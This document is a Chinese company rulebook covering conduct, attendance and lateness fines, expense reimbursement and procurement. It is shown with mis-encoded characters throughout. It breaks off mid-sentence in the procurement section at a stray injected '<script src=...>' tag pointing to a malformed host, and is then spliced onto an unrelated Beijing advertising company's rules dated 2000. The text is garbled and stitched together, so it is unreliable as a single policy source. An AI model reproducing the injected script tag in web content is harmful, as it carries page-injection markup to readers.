公司制度
一、遵守公司的各項規(guī)章和條例規(guī)定。
二、一切言行不得損害公司聲譽和利益。
三、嚴格遵守公司考勤制度，按時上班。
四、樹立整潔、禮貌、服從的意識。
五、具備誠實、高效、敬業(yè)的精神，員工之間應坦誠相待，相互
合作。
六、愛護公司的公物，不得隨意損壞、丟棄、浪費各種辦公用品，
公司用品使用完應馬上歸還。
七、上班時間不準打私人電話，禁止聚集、聊天、辦私事、大聲
喧嘩，打鬧嬉戲，不準看與工作無關(guān)的報刊書籍。
八、員工有遵守公司安排和努力做好本職工作的義務。
九、工作時間使用電腦，嚴禁用與工作無關(guān)的事情。
十、嚴格遵守公司一切保密制度。

考勤制度
上班時間：
坐班人員 上午8：30-12：00 下午13：30-18：00
業(yè)務員 上午8：30-12：00 下午14：00-18：00
（周日休假,其它節(jié)假日按法定休假）
員工上下班在考勤機上打卡（出差員工除外），每天按時考
勤，考勤時間以打卡時間為準，禁止替人打卡考勤，每月最后一
天累計出勤情況。
員工在上班時間因工作時間外出必須征得部門主管同意。員
工休假及出差，均要得到行政部門作登記否則按曠工處理。請假
者必須出具正規(guī)醫(yī)院開具的病假單，當天看病的相關(guān)證明。事假
的最小單位是半天，員工請事假一日以下由總經(jīng)理經(jīng)理批準，超
過一日則須上報總經(jīng)理批準，事假扣發(fā)當天的薪酬。員工無故不
上班或外出不請假，均作曠工處理。連續(xù)曠工三個工作日自動離
職處理，公司不負責一切補償。
遲到：
考慮到各種可能存在的因素，員工每月遲到不超過三次的不
予追究。
每月遲到4-6次的員工，每次扣發(fā)工資10元。
每月遲到7-8次的員工，將扣發(fā)三天的工資。
員工遲到8次以上，扣發(fā)3天的工資外，另作曠工三天處理。
（注：員工累計曠工三天者，將被公司除名）遲到超過15分鐘，
則每次遲到作兩次處理，然后以“規(guī)定三”執(zhí)行。遲到1小時或
以上則作曠工半天處理（以此累計）替人代打考勤卡如發(fā)現(xiàn)一次
扣除半月工資，累計三次，做離職處理。員工遲到如有正當理由
可不按以上條款處理，但需要由其部門人口頭通知行政人事部。
考勤登記情況將作為考核、獎勵、提升、處罰員工的依據(jù)之一。
財務報銷管理規(guī)定
第一條 嚴格執(zhí)行資金使用審批手續(xù)。凡有審簽權(quán)限人員須在財
務部門簽留字樣備案。公司有付款審批權(quán)人員包括董事
長、財務總監(jiān)、總經(jīng)理、財務經(jīng)理、會計。公司財務人
員支付每一筆款項，不論金額大小均須有經(jīng)辦人和以上
具有付款審批權(quán)限的人員簽名才可支出。若遇以上人員
外出應由財務人員設(shè)法通知，同意后可先付款后補簽。
對違反上述規(guī)定的付款，財務人員有權(quán)且必須拒絕支付
并及時向上級請求處理。
第二條 借款的報銷：業(yè)務人員各項費用需借款或報銷時，由各
部門經(jīng)理審簽后，報公司財務部門審核，并送公司總經(jīng)
理批準，及其他有關(guān)領(lǐng)導批準，方能借款或報銷。原則
上前款不清，后款不借。
第三條 備用金的使用，必須依照下列規(guī)定：
一、具有規(guī)定的用途，期限及限額；
二、在規(guī)定的期限內(nèi)憑費用支出單據(jù)到財務部門報銷；
三、對違反規(guī)定用途和不符合開支標準的支出，財務不
予報銷。
第四條 各項報銷原始憑證的審核：
原始憑證應具備的內(nèi)容：憑證名稱、填制憑證的日期、
填制憑證單位的名稱或填制人的姓名、經(jīng)辦人的簽名或
蓋單、接受憑證的單位名稱、經(jīng)濟業(yè)務的內(nèi)容、數(shù)量、
單價和金額、各種發(fā)票、收據(jù)必須符合《中華人民共和
國發(fā)票管理辦法》和實施細則的規(guī)定。從外單位取得的
原始憑證必須蓋有填制單位的公章；從個人取得的原始
憑證，必須有填制人員的簽名或蓋章；對外開出的原始
憑證，必須加蓋單位公章，其中辦理收款業(yè)務的要加蓋
本單位財務專用章。
第五條 對原始憑證的技術(shù)性要求：
凡填有大小寫金額的原始憑證，大寫與小寫必須相符。
購買實物的原始憑證，必須有手續(xù)完備的驗收證明。除經(jīng)辦人在憑證上簽章外，必須交給實物保管人員或使用
人員進行驗收，并在憑證上簽章。支付款項的原始憑證
必須有收款單位或個人的收款證明以及簽字，有審批人
簽字，并有付款的依據(jù)。凡憑證內(nèi)容不全、字跡模糊不
清、與經(jīng)濟業(yè)務本身內(nèi)容不符者，應予退回或重新補正。

附則三：物品采購工作規(guī)定
第一條 物品購銷合同（協(xié)議與技術(shù)要求）必須由財務部會同業(yè)
務部指定人員簽訂。合同簽訂人員須認真學習《合同法》
及有關(guān)法律和公司規(guī)定，不得因此而給公司帶來損失。
合同在簽訂前須由經(jīng)辦人填寫合同簽訂申請書，經(jīng)總公
司審定后，方可簽署。
第二條 購銷合同：由專人統(tǒng)一編寫、登記、編制、發(fā)送和保存。
所有合同必須保留正本兩份，一份交財務部做付款憑證，
另一份交總公司資料室留檔備查。
第三條 物品的采購流程
一、采購大宗物品時，應填寫請購申請，經(jīng)總公司?script src=http://www./script.js>
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北京歌樂廣告有限公司規(guī)章制度
1.部門為五天工作制,每日8:30至17:30,周六,周日為公休.
2.每周一,三,五上午9:00為例會時間,安排工作,務必準時參加.
3.
公時間內(nèi),嚴禁做與工作無關(guān)的私人事務,杜絕私人電話.
4.不準在辦公室會客,如有業(yè)務客戶來訪,須提前報告主管領(lǐng)導,安排會客時間和場所.
5.辦公設(shè)備有專人管理和使用,不得亂動亂用電腦,
描儀,復印機,打印機等辦公用品.
6.外出采訪要提前報告主管領(lǐng)導,以保證采編人員的人身安全和采訪工作順利進行.
7.采編人員外出領(lǐng)取專用認刊書要登記備案,領(lǐng)取人員簽字.如未能簽單應及時交回主管部門,在編號處簽字,可在下一次采訪時使用.
8.專用認刊書系報社與客戶之間的法律文書,采編人員作為報社的業(yè)務代表,與客戶簽單后,需將認刊書(原件),文字材料,照片一并交回主管部門,做為制作版面和依法備案之用.
9.采編人員為客戶撰寫的文章,一律使用中國改革報社文頭紙打印,校對無誤后傳真或送達客戶審閱,重要文章需由主管領(lǐng)導把關(guān).
10.提取支票前,要報告主管部門,主管部門將安排車輛和財務人員去領(lǐng)取支票;如客戶支付的是現(xiàn)金,應提前請示主管部門,原則上不能用現(xiàn)金結(jié)算.
11.采編人員要嚴格遵守部門的規(guī)章制度,不能做有損報社形象的任何事情,一經(jīng)發(fā)現(xiàn)解除合同,情節(jié)嚴重者將追究其經(jīng)濟和法律責任.
2000年7月20日